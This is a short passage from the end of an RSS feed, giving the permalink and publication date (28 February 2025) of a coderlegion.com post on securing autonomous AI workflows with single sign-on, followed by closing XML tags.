<guid isPermaLink="true">https://coderlegion.com/1290/securing-autonomous-ai-workflows-through-advanced-single-sign-on</guid>
<pubDate>Fri, 28 Feb 2025 16:14:07 +0000</pubDate>
</item>
</channel>
</rss>